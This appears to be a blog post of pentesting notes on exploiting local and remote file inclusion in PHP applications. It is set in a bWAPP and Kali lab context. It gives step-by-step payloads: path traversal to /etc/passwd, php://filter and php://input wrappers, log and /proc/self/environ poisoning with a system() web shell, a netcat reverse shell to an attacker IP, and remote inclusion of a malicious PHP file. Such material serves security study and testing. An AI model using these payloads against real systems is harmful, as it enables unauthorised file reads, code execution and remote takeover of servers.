Skip to main content
File Inclusion (Local and Remote)
- File Inclusion Attacks : -
- Local: - user access local file out of webroot location and executes to application’s environment.
- Eg: - url?param = ../../../etc/passwd
- Where to find: - any file is getting called from internal storage:
- Eg: - there is a module of languages and when language is getting changed, application calls another php file present in the internal storage.
- Request header is like : -
- GET /bWAPP/rlfi/php?language=en&action=go HTTP/1.1
- Here change language parameters, from en to /etc/passwd. It should work.
- If not add /etc/passwd at the end.
- Php wrappers: -
- php://filter/resource=/etc/passwd
- php://filter/read=convert.base64-encode/resource=/etc/passwd
- Contaminate the log file : -
- On vulnerable machine - tail /var/log/apache2/access.log
- Kali - in file include parameter -
- <?php echo system($_GET[“cmd”]);?>
- Send the request.
- Check the vulnerable machine -
- tail /var/log/apache2/access.log. it will have the malicious code in the logs.
- In same lfi request -
- /var/log/apache2/access.log&cmd=pwd
- Contaminate /proc/self/environfile: -
- On lfi request - /proc/self/environ&cmd=pwd
- Php wrapper: -
- On lfi request - php://input&cmd=pwd
- And add below in the lfi request body.
- <?php echo system($_GET[“cmd”]);?>
- Have a netcat session: -
- findwhere the netcat is: -
- On lfi request : - php://input&cmd=which%20 nc
- It will give the directory in response - /bin/nc
- URL decode below mentioned thing: -
- php://input&cmd=/bin/nc -e /bin/sh <<attacking ip>> <<port>>
- Start the nc - nc -nlvp 443
- Forward the request. Will return you the shell.
- Path traversal display the content but file inclusion executes also
- Remote: - user includes remote file and executes in application’s environment.
- Eg: - url?param = http://192.168.200.11/malicious.php
- Kali machine :-
- Service apache2 start
- Serve a page on local server 192.168.200.11
- url?param = http://192.168.200.11/malicious.php
- Serve a shell: -
- In Kali -
- Get a php reverse shell. Add attacking ip and port
- Run nc -nvlp 443.
- Go to browser and load the php reverse shell on the vulnerable application
Comments
Post a Comment